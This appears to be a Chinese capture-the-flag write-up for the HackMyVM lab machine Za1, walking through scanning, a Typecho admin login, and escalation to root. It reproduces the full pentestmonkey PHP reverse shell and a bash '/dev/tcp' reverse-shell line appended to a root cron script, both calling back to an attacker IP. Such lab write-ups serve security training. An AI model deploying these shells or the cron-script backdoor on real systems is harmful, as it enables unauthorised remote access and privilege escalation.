首页 > 其他分享 >HackMyVM_Za1_wp

HackMyVM_Za1_wp

时间:2023-10-07 18:44:40浏览次数:36  
标签:shell read printit pipes sock HackMyVM wp input Za1

前言

靶机是由zacarx师傅制作
目前在HackMyVM平台上
靶机地址:https://hackmyvm.eu/machines/machine.php?vm=Za1
zacarx师傅的博客:www.zacarx.com
zacarx师傅的B站:Zacarx
zacarx师傅的公众号:Zacarx的随笔

image

主机发现

nmap -sn 192.168.110.0/24
image

靶机ip为192.168.110.7

端口扫描

nmap -p- 192.168.110.7
image

可以看到开放了22和80端口

详细信息扫描

nmap -A -p22,80 192.168.110.7
image

漏洞扫描

nmap漏洞扫描

image
扫到了几个目录,等会访问试试

nikto

image

web信息收集

访问主页
image

可以看到博客是由Typecho搭建的可以尝试nday
继续查看刚才漏洞扫描出来的目录
image
后台,手工尝试几个常用密码,发现进不去,继续进行下一个
image

发现有数据库文件,查看一下
image
尝试登录
账号:zacarx
密码:zacarx
image
成功登录

立足点

image

在设置中发现可以添加后缀文件,添加php后缀的文件
选择php-reverse-shell.php进行上传,记得修改文件中ip地址为自身ip
webshell文件kali linux地址
/usr/share/webshells/php/php-reverse-shell.php
image

点击查看代码
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.110.3';  // 修改为自身攻击机ip
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>

image

nc开启监听,访问该页面
image

成功拿到shell,查看当前用户权限,目录,目录下文件,系统内核

image

image

user.txt

在用户目录下发现flag
image

提权

sudo -l
查看当前系统可执行文件
image

提权工具:https://gtfobins.github.io/
image

sudo -u za_1 awk 'BEGIN {system("/bin/sh")}'

image

还是用户权限
image

上另一个工具pspy
pspy:https://github.com/DominicBreuker/pspy

攻击机上起web服务,靶机用wget下载
python3 -m http.server 80
image

image

image

发现linux脚本文件
image

image

image

权限为root,反弹shell
靶机执行命令,攻击机开启监听
echo "bash -i >&/dev/tcp/192.168.110.3/6666 0>&1" >> back.sh
image

等一会就能收到shell了

image

image

root.txt

image

标签:shell,read,printit,pipes,sock,HackMyVM,wp,input,Za1
From: https://www.cnblogs.com/zy4024/p/HackMyVM_Za1_wp.html

相关文章

  • WPF 上位机软件 开发小技巧
    本文长期更新... 1.鼠标按下拖拽窗体 自定义窗体的界面,右键按下鼠标后,可移动窗体的代码注册 MouseLeftButtonDown事件///<summary>///鼠标左键点击可移动窗体///</summary>///<paramname="sender"></param>///<par......
  • WPF
    https://baike.baidu.com/item/WPF/5299594?fr=aladdinWPF(WindowsPresentationFoundation)是微软推出的基于Windows的用户界面框架,属于.NETFramework3.0的一部分。它提供了统一的编程模型、语言和框架,真正做到了分离界面设计人员与开发人员的工作;同时它提供了全新的多媒体交......
  • C#中关于Word或WPS转PDF的实现方案
    使用微软的Word组件转PDF在.NET中,你可以使用Microsoft.Office.Interop.Word库来进行Word到PDF的转换。这是一个示例代码,但请注意这需要在你的系统上安装MicrosoftOffice。在开始前,你需要添加对Microsoft.Office.Interop.Word的引用,步骤如下:在你的项目中右键选择"AddReferen......
  • WPF ABP框架更新(2023-10月份)
    更新说明本次更新主要内容以下:优化UI显示样式,按钮、文字显示模糊、边距一致性更新Syncfusion版本框架版本升级至.NET7ABP版本升级至8.0......
  • Wpf经验技巧-使用 d:DataContext 指定 DataContext 的类型.
    VM代码:V代码(版本1):没有指定DataContext的类型,所以下面的绑定并不知道P1和P3到底是什么,也就无法在代码编辑时检测出绑定是否正确.如果写错了,只能等到程序运行并打开这个窗口时报错才能知道.V代码(版本2):通过d:DataContext指定了DataContext的类型,所以下面的绑定......
  • CTFSHOW 七夕杯 web wp
    web签到打开后发现可以进行命令执行操作,但是是无任何回显的,这里的话我们可以直接进行命令执行  payload:nl /*>1方法二、 >hp>1.p\\>d\>\\>\-\\>e64\\>bas\\>7\|\\>XSk\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>w......
  • WPF开发记录
    字符串格式化XXX.tostring():5.tostring("D2")结果为05Datetime.Now.ToString("yyyy-MM-dd")结果为2023-10-03在xaml中使用String.Format转换:<TextboxBinding="{BindingDateTimeNow,String.Format{}{0:yyyy-MM-dd}}"IsReadOnly="True"......
  • JDWP调试SpringBoot程序
    JDWP调试SpringBoot程序<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-loader</artifactId></dependency>java-agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=*:5050-jar&......
  • CTFer成长记录——CTF之Web专题·[SWPUCTF 2021 新生赛]jicao
    一、题目链接  https://www.nssctf.cn/problem/384二、解法步骤  审计代码:  只需POST传入id=wllmNB,GET传入json=json_encode(array('x'=>'wllm'))即可。  payload:?json={"x":"wllm"},利用hackbar,POST传入id=wllmNB。  拿到flag:三、总结  基本操作。 ......
  • FlyUI-WPF框架
    关注我,WPFFlyUI框架作者github地址:https://github.com/AatroxBot/FlyUI.Demo.git码云地址:https://gitee.com/Aatrox1/fly-ui-demo.git......